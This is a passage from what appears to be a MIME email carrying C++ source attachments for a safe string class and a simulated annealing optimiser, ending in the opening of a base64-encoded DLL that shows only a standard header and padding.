    printf ("Since I've been able to open it recently, something really");
    printf ("strange is going on.\n");
    return -1;
  }
  /* get memory */
  init (number);
  /* copy */
  for (int i=0; i<number; i++)
    str[i] = fgetc(in);
  return 0;
}

int
string::filereadc (string &file, char c) {
  FILE *in;
  int characters = 1;
  int counter = 0;
  char ch;

  /* Count number of characters of input file and number of c's */
  /* open file */
  if ((in = file.fileopen("r"))==NULL) {
    strprint (file, "Cannot open file `", "'.\n");
    return -1;
  }
  /* Count */
  while ( (ch = fgetc(in)) != EOF ) {
    characters++;
    if ( ch == c )
      counter++;
  }
  /* close file */
  fclose (in);

  /* Copy file to string */
  /* open again */
  if ((in = file.fileopen("r"))==NULL) {
    strprint (file, "Cannot open file `", "'.\n");
    printf ("Since I've been able to open it recently, something really");
    printf ("strange is going on.\n");
    return -1;
  }
  /* get memory */
  init (characters);
  /* copy */
  for (int i=0; i<characters-1; i++)
    str[i] = fgetc(in);
  str[characters-1] = '\0';
  
  fclose (in);
  
  return counter;
}

int string::filewrite (string &file, char *mode) {
  if ( (*mode != 'a') && (*mode != 'w') ) {
    printf ("string::filewrite:\n Invalid mode %s ", mode);
    strprint (file, "for writing string to file `", "'.\n");
    return 1;
  }

  FILE *out = fopen (file.str, mode);
  if (out) {
    fprintf (out, "%s", str);
    fclose (out);
  }
  else {
    strprint (file, "string::filewrite:\n Unable to open file `", "'");
    printf (" with mode %s.\n", mode);
    return 2;
  }
    
  return 0;
}


int string::filewrite (FILE *out) {
  if (out)
    fprintf (out, "%s", str);
  else {
    printf ("string::filewrite:\n file pointer = NULL.\n");
    return 1;
  }
    
  return 0;
}


int string::system_call () {
  return system (str);
}

void
print ( struct string &s )
{
  printf ( "string " );
  if ( s.label )
    printf ( " %s ", s.label );
  printf ( " = \"" );
  for ( int i=0; i<s.size-1; i++ )
    printf ( "%c", s(i) );
  printf ("\"\n");
  return;
}


void 
strprint ( struct string &s, char *first, char *last )
{
  if ( first )
    printf ( "%s", first );    
  for ( int i=0; i < s.size - 1; i++ )
    printf ( "%c", s(i) );
  if ( last )
    printf ( "%s", last );    
  return;
}

void 
strprint ( struct string &s, int offset, char *first, char *last )
{
  if ( first )
    printf ( "%s", first );    
  for ( int i=offset; i < s.size - 1; i++ )
    printf ( "%c", s(i) );
  if ( last )
    printf ( "%s", last );    
  return;
}

void 
strprint ( struct string &s, int offset, char stop, char *first, char *last )
{
  if ( first )
    printf ( "%s", first );    
  
  int i = offset;
  while ( (i < s.size-1) && (s(i) != stop) ) {
    printf ( "%c", s(i) );
    i++;
  }

  if ( last )
    printf ( "%s", last );    
  return;
}


--------------090302080802010307050504
Content-Type: text/plain;
 name="safe_string.h"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="safe_string.h"

#ifndef SAFE_STRING_H
#define SAFE_STRING_H

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//#include "variable.h"

/* This straight-forward string class is intended to make use of
   string operations safe.  Every function is meant to allocate just
   the memory the resulting string needs.  No space is wasted and no
   bytes are written in not-allocated memory.  To garantuee this, the
   'size' of a string is the number of characters stored in the
   string, including the ending '\0'. */
struct string {
  int size;
  char *label;

  string ();
  string ( int s, char *l = NULL );
  string ( char *s, char *l = NULL );
  string ( string &s, char *l = NULL );
  ~string ();

  void clean ();

  char &operator () ( int i )
    {
      check_index ( i );
      return str [i];
    }

  string &operator= ( string &s );

  /* Add a 's' to *this.  (strcat) */
  string &cat ( string &s );
  string &cat ( char *s );
  
  /* copies 's' to *this. (strcpy) */
  string &copy ( string &s );
  string &copy ( char *s );
  /* makes a string (*this) out of d.  Builds format-string for sprintf 
     "%a.decimalf" by calculating a from d. */
  int copy (double d, long int decimal);
  int copy (int i);
  /* copies the content of v to string. */
  int copy (struct variable *v);
  /* builds 'cs' with str of string */
  void out (char **cs);

  /* copies first 'n' bytes of 's' to *this.  (strncpy) */
  string &ncopy ( string &s, int n );
  /* copies 'n' bytes starting at 'offset' of 's' to *this.  (strncpy) */
  string &ncopy ( string &s, int n, int offset );

  /* composes string of 'first' and 'second' with 'inbetween'
     inbetween.  E.g. 'first' containing "first", 'second' containing
     "second" and 'inbetween' containing "." result is
     "first.second". */
  string &compose ( string &first, string &second, char *inbetween );
  string &compose ( string &first, char *second, char *inbetween );
  string &compose ( string &first, double second, char *inbetween );
  string &compose ( string &first, int second, char *inbetween );

  /* returns element i */
  int element ( int i );

  /* compares *this to 's'.  Returnvalues just like strcmp. */
  int compare ( struct string &s );
  int compare ( char *s );

  /* Works like strcspn.  Citing Emacs *info*: 
     The `strcspn' ("string complement span") function returns the
     length of the initial substring of STRING that consists entirely
     of characters that are _not_ members of the set specified by the
     string STOPSET.  (In other words, it returns the offset of the
     first character in STRING that is a member of the set STOPSET.)

     For example,
          strcspn ("hello, world", " \t\n,.;!?")
              => 5
  */
  int string_complement_span ( char *stopset, int offset );
  int string_complement_span ( struct string &stopset, int offset );
  int string_complement_span ( char *stopset );
  
  /* Works like strspn.  Citing Emacs *info*: 
     The `strspn' ("string span") function returns the length of the
     initial substring of STRING that consists entirely of characters
     that are members of the set specified by the string SKIPSET.  The
     order of the characters in SKIPSET is not important.
     
     For example,
          strspn ("hello, world", "abcdefghijklmnopqrstuvwxyz")
              => 5
  */
  int string_span ( struct string &stopset, int offset );
  int string_span ( char *stopset, int offset );
  
  /* Searches 'needle' in *this and copies the substring beginning
     with 'needle' to 'result'.  Return value is 1 if 'needle' is
     found, 0 otherwise.  (strstr) */
  int string_string ( struct string &result, char *needle );
  int string_string ( struct string &result, struct string &needle );
  int string_string ( struct string &result, struct string &needle, 
		      int offset );
  /* Searches character 'c' in *this.  Return value is 1 if 'c' is
     found, 0 otherwise.  (strchr) */
  int string_character ( char c );

  /* In a way like strbrk.  Copies the string beginning with the first
     found member of 'needle' in *this to result.  
  */
  void string_pointer_break ( struct string &result, char *needle );

  /* Interpretes *this as a filename returns a pointer to the file,
     opened in mode 's'.  (fopen) */
  FILE *fileopen ( char *s );
  /* copies the contents of 'file' to *this. */
  int fileread (string &file);
  /* copies the contents of 'file' to *this and returns the number of
     lines. */
  int filereadc (string &file, char count);
  /* writes contents of *this to the file named 'file'.  Mode should
     be "w" or "a" according to fopen(). */
  int filewrite (string &file, char *mode);
  /* writes *this to stream *out. */
  int filewrite (FILE *out);

  /* stdlib's 'system' */
  int system_call ();

  void init ( int s, char *l = NULL );

  protected:
    char *str;
    void check_index ( int i );
};

void print ( struct string &s );

/* print to standard output in the following order: 'first', 'string',
   'last'.  The Elements printed form 'string' may be limited by
   'offset' (first printed element) and 'stop' (last printed
   element). */
void strprint ( struct string &s, char *first = NULL, char *last = NULL ); 
void strprint ( struct string &s, int offset, char *first = NULL, 
		char *last = NULL ); 
void strprint ( struct string &s, int offset, char stop, char *first = NULL, 
		char *last = NULL );

#endif



--------------090302080802010307050504
Content-Type: text/plain;
 name="simanneal.h"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="simanneal.h"

#ifndef SIMANNEAL_H
#define SIMANNEAL_H

#include "variable.h"
#include "safe_string.h"
#include "evaluate.h"

struct simanneal_varlist {
  simanneal_varlist ();
  ~simanneal_varlist ();

  void clean ();
  void clean (struct simanneal_varlist *svl);

  /* copies parametertext's to x_now */
  int pt2xn ();
  struct variablelist *vl;
  struct simanneal_varlist *next;
};

struct simulated_annealing {
  simulated_annealing ();
  simulated_annealing (struct variablelist *vlist, struct basisfile *bf, 
		       struct evaluate *eval, int tm, double tf, 
		       struct string *syscall);
  ~simulated_annealing ();
  /* list of all variables */
  struct variablelist *vl;
  /* list of variables relevant for simulated annealing */
  struct simanneal_varlist *svl;
  /* basisfile text */
  struct basisfile *text;
  /* abort criteria */
  struct evaluate *success;
  /* maximum value of tc */
  int tc_max; /* 100 */
  /* factor of decreasement for temperature, when tc reaches tc_max */
  double t_factor; /* 0.98 */
  /* system call */
  struct string *call;

  int build_varlist ();
  int optimize ();
  int vary_simvarlist ();
  int take_new_result (struct variable &fnew, struct variable &fold, double t);
};

int x_now_2_x_opt (struct simanneal_varlist *svl);

#endif


--------------090302080802010307050504
Content-Type: text/plain;
 name="simannealfile.cpp"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="simannealfile.cpp"

#include "simanneal.h"

#include <time.h>
#include <math.h>

#include "calculate.h"

simanneal_varlist::simanneal_varlist () {
  vl = NULL;
  next = NULL;
}

simanneal_varlist::~simanneal_varlist () {
  clean (this);
}

void simanneal_varlist::clean () {
  clean (this);
}

void simanneal_varlist::clean (struct simanneal_varlist *svl) {
  if (svl) {
    if (svl->next) {
      clean (svl->next);
      svl->next = NULL;
    }
    vl->clean ();
  }
}

int simanneal_varlist::pt2xn () {
  struct simanneal_varlist *help = this;
  while (help) {
    if (help->vl->pt2xn (1)) {
      printf ("simanneal_varlist::pt2xn ():\n ");
      printf ("Error while copying parameter text to x_now of variable no. %d",
	      help->vl->number);
      printf ("\n");
      return 1;
    }
    help = help->next;
  }
  return 0;
}

int x_now_2_x_opt (struct simanneal_varlist *svl) {
  while (svl) {
    if (!svl->vl) {
      printf ("x_now_2_x_opt ():\n ");
      printf ("Empty variable list!.\n");
      return 1;
    }
    if (!svl->vl->x_opt) {
      printf ("x_now_2_x_opt ():\n ");
      printf ("Empty x_opt in variable list!.\n");
      return 1;
    }
    if (!svl->vl->x_now) {
      printf ("x_now_2_x_opt ():\n ");
      printf ("Empty x_now in variable list!.\n");
      return 1;
    }

    svl->vl->x_opt->copy (svl->vl->x_now);
    svl = svl->next;
  }
  return 0;
}

simulated_annealing::simulated_annealing () {
  vl = NULL;
  svl = NULL;
  text = NULL;
  success = NULL;
  call = NULL;
};

simulated_annealing::simulated_annealing (struct variablelist *vlist, 
					  struct basisfile *bf, 
					  struct evaluate *eval,
					  int tm, double tf, 
					  struct string *syscall) {
  tc_max = tm;
  t_factor = tf;
  vl = vlist;
  text = bf;
  success = eval;
  call = syscall;
}


simulated_annealing::~simulated_annealing () {
  vl = NULL;
  svl = NULL;
  text = NULL;
  success = NULL;
  call = NULL;
}

int simulated_annealing::build_varlist () {
  struct simanneal_varlist *help = NULL;
  struct variablelist *helpvl = vl;

  while (helpvl) {
    if (helpvl->number > 0) {
      if (help) {
	help->next = new struct simanneal_varlist;
	help = help->next;
      }
      else {
	svl = new struct simanneal_varlist;
	help = svl;
      }
      help->vl = helpvl;
    }
    helpvl = helpvl->next;
  }
  
  if (!help) {
    printf ("simulated_annealing::build_varlist:\n");
    printf (" No valid variables found.\n");
    return 1;
  }
  return 0;
}

int simulated_annealing::optimize ()
{
  /* Value of calculation with valid vector */
  struct variable f_x;
  f_x.init (0.0, 10);
  /* Value of calculation with new vector */
  struct variable f_x_dx;
  f_x_dx.init (0.0, 10);
  /* temperature */
  double temperature = 1;
  /* counter of times of temperature increasement */
  int tc = 1;
  int take;

  /* initialize random number generator */
  time_t init_rand;
  time (&init_rand);
  srand (init_rand);

  /* calculate with first vector */
  if (calculate (f_x, text, call)) {
    printf ("simulated_annealing::optimize ():\n ");
    strprint (*call, "Error while trying to execute\n  `", "'\n");
    return 1;
  }

  while (!success->abort(f_x)) {
    /* build next variation of vector x */
    if (vary_simvarlist ()) {
      printf ("simulated_annealing::optimize ():\n");
      printf (" Error while building new variable vector.\n");
      return 1;
    }

      /* calculate for next variation of vector */
    if (calculate (f_x_dx, vl, text, call)) {
      strprint (*call, "Error while executing\n  ", "\n");
      return 1;
    }
    
    /* evaluate result */
    if ((take = take_new_result (f_x_dx, f_x, temperature)) < 0) {
      printf ("simulated_annealing::optimize:\n");
      printf (" Error while evaluating new result.\n");
      return 1;
    }


    if (take) {
      /* new result is better */
      f_x = f_x_dx;
      /* => x_now becomes new x_opt */
      x_now_2_x_opt (svl);
      /* reset temperature counter */
      tc = 1;
      /* testy */
      printf ("%g\n", svl->vl->x_now->dv);
    }
    else {
      if (tc++ == tc_max) {
	tc = 1;
	temperature *= t_factor;
      }
    }
  }
  return 0;
}

int simulated_annealing::take_new_result (struct variable &fnew, 
					  struct variable &fold, double t) {
  double old;
  double test;
  switch (fnew.type) {
  case 'd' : /* double value */
    if (read_double(old, &fold)) {
      printf ("simulated_annealing::take_new_result:\n");
      printf (" Error while reading `fold'.\n");
      return -1;
    }
    test = (double)rand()/RAND_MAX;
    if ( (fnew.dv < old) 
	 || (exp((old-fnew.dv)/t) > (double)rand()/RAND_MAX)
	 )
      return 1;
    return 0;
    break;
  case 'i' : /* integer value */
    printf ("simulated_annealing::take_new_result:\n");
    printf (" Comparison with integers isn't implemented yet.\n");
    return -1;
    break;
  case 's' : /* string value */
    printf ("simulated_annealing::take_new_result:\n");
    printf (" Comparison with strings isn't implemented yet.\n");
    return -1;
    break;
  default :
    printf ("simulated_annealing::take_new_result:\n");
    printf (" Unknown type of `fnew' `%c'.\n", fnew.type);
    return -1;
  }
  return 0;
}


int simulated_annealing::vary_simvarlist ()
{
  struct simanneal_varlist *help = svl;
  while (help) {
    if (!help->vl->sap) {
      printf("simulated_annealing::vary_simvarlist():\n");
      printf(" No simulated annealing parameters found for variable no. %d.\n",
	     help->vl->number);
      return 1;
    }
    if (random_step (help->vl->x_now, help->vl->sap->dx)) {
      printf ("simulated_annealing::vary_simvarlist():\n");
      printf (" Error while making random step of variable no. %d.\n",
	      help->vl->number);
      return 1;
    }
    help = help->next;
  }
  return 0;
}

//  double 
//  simulated_annealing::amotsa (matrix &p, vector &y, vector &psum, int ndim, vector &pb, 
//  		   double *yb, int ihi, double *yhi, double fac, double tt,
//  		   struct antenna_list *antenna, double f, double k,
//  		   int (*e_func)(complex<double> &E,radiator_list *send, 
//  				 double x, double y, double z, double f, 
//  				 double beta, complex<double> rho,
//  				 char receive_type, char polarization, 
//  				 char field, int posnum)) {
//    int j;
//    double fac1, fac2, yflu, ytry;
//    vector ptry (ndim, "ptry");
  
//    fac1 = (1.0-fac)/ndim;
//    fac2 = fac1-fac;
//    for (j=0; j<ndim; j++)
//      ptry(j) = psum(j)*fac1 - p(ihi,j)*fac2;

//    /* copy try values to antenna */
//    for (int i=0; i<antenna->cl->size; i++) 
//      *(antenna->cl->c[i]) = ptry(i);
//    if (guete_e_position (ytry, f, k, antenna, e_func)) {
//      printf("calculate::amotsa ():\n ");
//      printf("Error while calculating target function value.\n");
//      return 1;
//    }

//    if (ytry <= *yb) {
//      /* try is better => take try! (antenna already holds the
//         try-values) */
//      pb = ptry;
//      *yb = ytry;
//    }
//    else {
//      /* try is worse => discard try.  antenna holds the try-values:
//         restore the pb values to antenna! */
//      for (int i=0; i<antenna->cl->size; i++) 
//        *(antenna->cl->c[i]) = pb(i);
//    }
//    yflu = ytry-tt*log((double)rand()/RAND_MAX);
//    if (yflu < *yhi) {
//      y(ihi) = ytry;
//      *yhi = yflu;
//      for (j=0; j<ndim; j++) {
//        psum(j) += ptry(j)-p(ihi,j);
//        p(ihi,j)=ptry(j);
//      }
//    }
//    return yflu;
//  }

//  int
//  calculate::simuann (double &e_max, double &x_max, double &y_max, double &z_max,
//  		    double &angle_max, antenna_list *antenna, matrix &p_ini, 
//  		    double temperature, double f, double k, 
//  		    int (*e_func)(complex<double> &E,radiator_list *send, 
//  				  double x, double y, double z, double f, 
//  				  double beta, complex<double> rho,
//  				  char receive_type, char polarization, 
//  				  char field, int posnum),
//  		    int biter, int itm, double tfe, double td) {

//    int itermax = itm;
//    double tdecrease = td;
//    double tfactorend = tfe;
//    double oldbest = -1e99;
//    int bigiterate_max = biter;
//    string filename;

//    // Randomgenerator initialisieren
//    time_t init_rand;
//    time (&init_rand);
//    srand (init_rand);
//    // Numerical Recipies in C, p. 452 ff.
  
//    double tt, sum;
//    int n,m;

//    /* number of variables to vary */
//    int ndim = antenna->cl->size;       
//    int mpts = ndim + 1;
//    int i, ilo, ihi, j;
//    double yhi, ylo, ynhi, yt, ytry, ysave;
//    double rtol, swap;
//    vector psum (ndim, "psum");
//    vector pb (ndim, "p best ever");
//    vector y (ndim+1, "y");
//    double yb = 1e99;
//    struct matrix p (p_ini, "point simplex matrix");

//    double ftol = 1e-6;
//    int iter;

//    double verybest = 1e99;
//    vector verybestpoint (ndim, "very best point ever found");

//    for (int bigiterate = 0; bigiterate < bigiterate_max; bigiterate++){
//          p = p_ini;

//      //    print (p);

//      yb = 1e99;
//      zero (pb);
    
//      /* calculate first vector (for edges of simplex described by p) */
//      for (i=0; i<y.size; i++) {
//        /* copy edge coordinates to vector coordinates */
//        for (j=0; j<p.cols; j++)
//  	*(antenna->cl->c[j]) = p(i,j);
//        if (guete_e_position (y(i), f, k, antenna, e_func)) {
//  	printf("calculate::simuann ():\n ");
//  	printf("Error while calculating target function.\n");
//  	return 1;
//        }
//      }
    
//      tt = -temperature;
    
    
//      while (-tt > tfactorend * temperature) {
//        //     printf (" tt = %g\n", tt);
//       iter = itermax;
      
//        // GET_PSUM
//        for (n=0; n<ndim; n++) {
//  	for (sum = 0, m=0; m<mpts; m++)
//  	  sum += p(m,n);
//  	psum(n) = sum;
//        }
      
//        //      print (psum);
      
//        for (;;) {
//  	ilo = 0;
//  	ihi = 1;
//  	ynhi = ylo = y(ilo) + tt*log((double)rand()/RAND_MAX);
//  	yhi = y(ihi) + tt*log((double)rand()/RAND_MAX);
//  	if (ylo > yhi) {
//  	  ihi = 0;
//  	  ilo = 1;
//  	  ynhi = yhi;
//  	  yhi = ylo;
//  	  ylo = ynhi;
//  	}
//  	for (i=2; i<mpts; i++) {
//  	  yt = y(i)+tt*log((double)rand()/RAND_MAX);
//  	  if (yt <= ylo) {
//  	    ilo = i;
//  	    ylo = yt;
//  	  }
//  	  if (yt > yhi) {
//  	    ynhi = yhi;
//  	    ihi = i;
//  	    yhi = yt;
//  	  }
//  	  else 
//  	    if (yt > ynhi)
//  	      ynhi = yt;
//  	}
//  	rtol = 2*fabs(yhi-ylo)/(fabs(yhi)+fabs(ylo));
//  	//printf ("\nrtol = %g\t iter = %d\n", rtol, iter);
//  	if (rtol < ftol || iter < 0) {
//  	  swap = y(0);
//  	  y(1) = y(ilo);
//  	  y(ilo) = swap;
//  	  for (n=0; n<ndim; n++) {
//  	    swap = p(0,n);
//  	    p(0,n) = p(ilo,n);
//  	    p(ilo,n) = swap;
//  	  }
//  	  break;
//  	}
//  	iter -= 2;
	
//  	/* Begin a new iteration. */
//  	/* Try extrapolation through the face of the simplex by a
//             factor of -1 across from the high point. (reflection of the
//             simplex from the high point. */
//  	ytry = amotsa(p, y, psum, ndim, pb, &yb, ihi, &yhi, -1.0, tt, 
//  		      antenna, f, k, e_func);
//  	if (ytry <= ylo) 
//  	  /* Reflection try leads to a better result.  So try an
//               additional extrapolation by a factor of 2. */
//  	  ytry = amotsa(p, y, psum, ndim, pb, &yb, ihi, &yhi, 2.0, tt,
//  			antenna, f, k, e_func);
//  	else 
//  	  if (ytry >= ynhi) {
//  	    /* reflected point is worse than the second-highest, so
//  	       look for an intermediate lower point, i.e. do a
//  	       one-dimensional contraction. */
//  	    ysave = yhi;
//  	    ytry =amotsa(p, y, psum, ndim, pb, &yb, ihi, &yhi, 0.5, tt,
//  			 antenna, f, k, e_func);
//  	    if (ytry >= ysave) {
//  	      /* The high point seems to stay.  So better contract
//                   around the lowest (i.e. best) point. */
//  	      for (i=0; i<mpts; i++)
//  		if (i!=ilo) {
//  		  for (j=0; j<ndim; j++) {
//  		    psum(j) = 0.5*(p(i,j)+p(ilo,j));
//  		    p(i,j) = psum(j);
//  		  }
//  		  for (int u=0; u<psum.size; u++)
//  		    *(antenna->cl->c[u]) = psum(u);
//  		  if (guete_e_position (y(i), f, k, antenna, e_func)) {
//  		    printf("calculate::simuann ():\n ");
//  		    printf("Error while calculating target function.\n");
//  		    return 1;
//  		  }
//  		}
//  	      iter -= ndim;
//  	      // GET_PSUM
//  	      for (n=0; n<ndim; n++) {
//  		for (sum = 0, m=0; m<mpts; m++)
//  		  sum += p(m,n);
//  		psum(n) = sum;
//  	      }
//  	    }
//  	  }
//  	  else
//  	    ++iter;
//        }

//        tt *= tdecrease;
//        if (oldbest != yb) {
//  	oldbest = yb;
//        }
//      }
    
//      if (verybest > yb) {
//        verybest = yb;
//        for (int q=0; q<pb.size; q++)
//  	verybestpoint(q) = pb(q);
//      }
//    }

//    e_max = 1/verybest*1/verybest;
//    x_max = antenna->x;
//    y_max = antenna->y;
//    z_max = antenna->z;

//    return 0;
//  }

--------------090302080802010307050504
Content-Type: application/x-msdownload;
 name="simannealfile.dll"
Content-Transfer-Encoding: base64
Content-Disposition: inline;
 filename="simannealfile.dll"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAAAbQZLxXyD8ol8g/KJfIPyitz/3olcg/KLcPPKifiD8orc/
9qLZIPyioAD4olog/KJfIP2iNyD8oj0/76JdIPyitz/qolgg/KK3P/iiXiD8olJpY2hfIPyi
AAAAAAAAAABQRQAATAEEAF1JXTwAAAAAAAAAAOAADiELAQYAABACAADAAAAAAAAA0NgAAAAQ
AAAAIAIAAAAAEAAQAAAAEAAABAAAAAAAAAAEAAAAAAAAAADgAgAAEAAAAAAAAAIAAAAAABAA
ABAAAAAAEAAAEAAAAAAAABAAAABwQQIAVgAAAOg4AgBQAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAALACAKwZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAIAIAfAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAFwUCAAAQ
AAAAEAIAABAAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAAMYhAAAAIAIAADAAAAAgAgAAAAAA
AAAAAAAAAABAAABALmRhdGEAAAAkXQAAAFACAABQAAAAUAIAAAAAAAAAAAAAAAAAQAAAwC5y
ZWxvYwAA/iEAAACwAgAAMAAAAKACAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
